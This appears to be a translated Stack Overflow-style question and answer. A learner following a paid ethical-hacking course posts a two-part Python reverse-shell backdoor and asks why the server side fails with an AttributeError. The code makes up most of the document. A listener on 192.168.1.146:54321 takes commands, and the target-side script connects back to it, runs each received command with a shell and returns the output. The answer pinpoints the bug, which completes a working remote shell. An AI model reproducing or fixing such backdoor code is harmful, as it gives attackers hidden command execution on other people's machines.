“ AttributeError:'模块'对象没有属性'发送'”将套接字用于后门时

时间:2019-08-15 15:48:20

标签: python malware

我一直在遵循以下有关道德黑客的课程,并且一直在遵循他的课程直至成为后门。我一直无法克服它,因为在使用套接字模块时,我不断收到错误(如下)。

课程(付费):https://uthena.com/courses/take/masterhacking19/lessons/6589724-fixing-backdoor-bugs-adding-functions

错误:AttributeError:“模块”对象没有属性“发送”

我收到错误的文件:

import socket
import json


def reliable_send(data):
    json_data = json.dumps(data)
    socket.send(json_data)

def reliable_recv():
    json_data = ""
    while True:
        try:
            json_data = json_data + target.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue

def shell():
    while True:
        command = raw_input("* Shell#~%s: " % str(ip))
        reliable_send(command)
        if command == "q":
            break
        else:
            result = reliable_recv()
            print(result)

def server():
    global s
    global ip
    global target
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("192.168.1.146",54321))
    s.listen(5)
    print("Listening for Incoming Connections")
    target, ip = s.accept()
    print("Target Connected")

server()
shell()
s.close()

目标计算机上的文件:

import socket
import subprocess
import json

def reliable_send(data):
    json_data = json.dumps(data)
    sock.send(json_data)

def reliable_recv():
    json_data = ""
    while True:
        try:
            json_data = json_data + sock.recv(1024)
            return json.loads(json_data)
        except ValueError:
            continue
def shell():
    while True:
        command = reliable_recv()
        if command == "q":
            break
        else:
            try:
                proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                reliable_send(result)
            except:
                reliable_send("[!!] Can't Execute That Command")

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.146",54321))
print("Connection Established")
shell()
sock.close()

1 个答案:

答案 0 :(得分:1)

您需要连接的插座才能发送和接收数据。您的程序正在使用套接字模块,就好像它是已连接的套接字一样,但不是。这只是与套接字相关的API所在的模块。

您的客户端具有连接的套接字-全局sock。您的服务器没有,但是reliable_send调用socket.send(不存在),例外情况指出。

在服务器上获得连接套接字的方法是使用服务器设置的侦听套接字的accept方法。